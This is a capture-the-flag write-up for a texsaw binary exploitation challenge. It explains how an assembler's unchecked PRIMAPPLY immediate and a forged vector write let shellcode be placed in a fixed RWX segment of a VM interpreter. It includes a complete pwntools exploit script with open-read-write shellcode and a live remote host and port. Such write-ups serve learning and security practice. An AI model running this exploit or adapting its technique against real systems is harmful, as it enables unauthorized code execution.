Category: Binary Exploitation
Flag: texsaw{scropmaster!_12934810298401928340912830982}
Challenge Description
We got rid of win, sorry! You’re writing assembly again this time.
Analysis
This service was a custom Scheme-like VM split across a Rust compiler, a Python assembler, and a stripped static interpreter. The front-end source mattered immediately: compiler/src/main.rs exposes primitives like vector, vector-ref, and vector-set!, while assembler/main.py maps those mnemonics to hardcoded handler addresses and gives PRIMAPPLY a special case that accepts any hexadecimal immediate. Instead of resolving a named primitive, the assembler serializes PRIMAPPLY with int(m, 16).to_bytes(8, "little"), which means assembly can smuggle an arbitrary 64-bit jump target straight into the bytecode.
The first useful confirmation came from the interpreter’s protection profile.
checksec interpreter[*] '/home/LIGHT/Downloads/CTFChan_Pwn_texsaw_SIGBOVIKIIITheScroppening/interpreter' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x50b000) RWX: Has RWX segmentsNo PIE and a fixed RWX segment strongly suggested that the intended route was shellcode, but the obvious first attempt still ran into ASLR. The VM initializes itself by pointing rsp at the bytecode buffer, so jumping into shellcode embedded in the program would have worked only if that mmap address were known ahead of time.
0x800879e: mov rsp, rdi ; rsp = bytecode buffer0x80087a4: mov rbx, rsi ; rbx = vm stackThe real control-flow bug sat in PRIMAPPLY. The solve log recorded the handler ending with an absolute jump through the instruction immediate.
0000000009a99000 <.text.primapply>: 9a99000: mov r8, QWORD PTR [rsp-0x8] ... 9a99068: jmp r8That turns PRIMAPPLY <hex> into an arbitrary jump primitive. The missing piece was a stable executable address, and that came from pairing two other VM operations that were much more useful together than they looked in isolation.
0x9e7000: mov rax, QWORD PTR [rsp-0x8]0x9e7005: mov rax, QWORD PTR [rbx+rax*8]0x5ec5060: mov QWORD PTR [rax+rcx*8+0x8], rsiGET reads a raw qword from a chosen VM stack slot, which let the exploit pull immediate values staged later in the bytecode. VECTORSET writes a qword through a tagged vector pointer. The winning trick was to stop chasing the randomized mmap buffer and instead forge a vector that points at the interpreter’s fixed RWX segment. The key values from the solve log were 0x8008000 as the RWX base, 0x8008000 | 0x2 as the forged vector tag, and 0x8008800 as the shellcode destination. With those in hand, the exploit used GET to recover raw qwords from future PRIMAPPLY immediates, fed them to VECTORSET, and wrote shellcode directly into executable memory at a deterministic address. Because PRIMAPPLY expects its normal stack shape, the payload also inserted LOAD NULL before the final jump.
Before switching to the flag-reading payload, the exploit was validated with a tiny shellcode stub that printed DBG and exited.
Remote output: b'DBG'Once the write primitive and jump target were confirmed, the final shellcode used the standard open-read-write pattern against /flag, with both the path and buffer addressed relative to rip so the payload stayed position-independent after being copied into the RWX segment. The solve log recorded the final result directly.
Remote output: b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zerosSolution
from pwn import *context.arch='amd64'context.log_level='info'
BASE=0x8008000SHELL_ADDR=0x8008800VEC_TAG=BASE|0x2
# ORW shellcode for /flagasm_code = r''' mov eax, 2 lea rdi, [rip+path] xor esi, esi xor edx, edx syscall mov edi, eax lea rsi, [rip+buf] mov edx, 0x100 xor eax, eax syscall mov edi, 1 mov eax, 1 syscall mov eax, 60 xor edi, edi syscallpath: .ascii "/flag" .byte 0buf: .zero 0x100'''
shellcode = asm(asm_code)
chunks=[shellcode[i:i+8] for i in range(0,len(shellcode),8)]chunks_q=[u64(c.ljust(8,b'\x00')) for c in chunks]
index_start=(SHELL_ADDR-BASE-8)//8raw_values=[VEC_TAG]+chunks_qnum_writes=len(chunks_q)raw_start=num_writes*5+4raw_indices=[2*(raw_start+i)+1 for i in range(len(raw_values))]
asm_lines=[]k=0for i in range(num_writes): asm_lines.append(f"GET {raw_indices[0]+k}") k+=1 asm_lines.append(f"LOAD {index_start+i}") k+=1 asm_lines.append(f"GET {raw_indices[1+i]+k}") k+=1 asm_lines.append("VECTORSET") k=1 asm_lines.append("FORGET") k=0
asm_lines.append("LOAD NULL")asm_lines.append("LOAD 0")asm_lines.append("LOAD 0")asm_lines.append(f"PRIMAPPLY {SHELL_ADDR:x}")
for val in raw_values: asm_lines.append(f"PRIMAPPLY {val:x}")
asm_lines.append("DONE")
asm_payload='\n'.join(asm_lines)+'\n'
p=remote('143.198.163.4',1902,timeout=5)p.send(asm_payload.encode())
out=p.recvall(timeout=5)print(out)python remote_orw_flag.pyb'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros